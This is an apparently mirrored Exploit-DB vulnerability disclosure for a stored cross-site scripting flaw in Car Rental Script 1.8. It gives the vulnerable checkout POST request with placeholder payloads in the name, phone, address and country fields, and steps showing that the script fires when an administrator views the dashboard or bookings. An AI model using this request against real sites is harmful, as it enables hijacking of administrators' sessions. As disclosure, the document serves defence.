Car Rental Script 1.8 – Stored Cross-site scripting (XSS)

  • 作者: CraCkEr
    日期: 2023-07-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51567/
  • # Exploit Title: Car Rental Script 1.8 - Stored Cross-site scripting (XSS)
    # Date: 30/07/2023
    # Exploit Author: CraCkEr
    # Vendor: GZ Scripts
    # Vendor Homepage: https://gzscripts.com/
    # Software Link: https://gzscripts.com/car-rental-php-script.html
    # Version: 1.8
    # Tested on: Windows 10 Pro
    # Impact: Manipulate the content of the site
    
    Release Notes:
    
    Allow Attacker to inject malicious code into website, give ability to steal sensitive
    information, manipulate data, and launch additional attacks.
    
    ## Stored XSS
    -----------------------------------------------
    POST /EventBookingCalendar/load.php?controller=GzFront&action=checkout&cid=1&layout=calendar&show_header=T&local=3 HTTP/1.1
    
    payment_method=pay_arrival&event_prices%5B51%5D=1&event_prices%5B50%5D=1&event_prices%5B49%5D=1&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload&phone=[XSS Payload&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload&additional=xxx&captcha=qqxshj&terms=1&event_id=17&create_booking=1
    -----------------------------------------------
    
    POST parameter 'first_name' is vulnerable to XSS
    POST parameter 'second_name' is vulnerable to XSS
    POST parameter 'phone' is vulnerable to XSS
    POST parameter 'address_1' is vulnerable to XSS
    POST parameter 'country' is vulnerable to XSS
    
    
    ## Steps to Reproduce:
    
    1. As a [Guest User] Select any [Pickup/Return Location] & Choose any [Time] & [Rental Age] - Then Click on [Search for rent a car] - Select Any Car
    2. Inject your [XSS Payload] in "First Name"
    3. Inject your [XSS Payload] in "Last Name"
    4. Inject your [XSS Payload] in "Phone"
    5. Inject your [XSS Payload] in "Address Line 1"
    6. Inject your [XSS Payload] in "Country"
    7. Accept with terms & Press [Booking]
    XSS Fired on Local User Browser.
    8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
    XSS Will Fire and Executed on his Browser
    9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
    XSS Will Fire and Executed on his Browser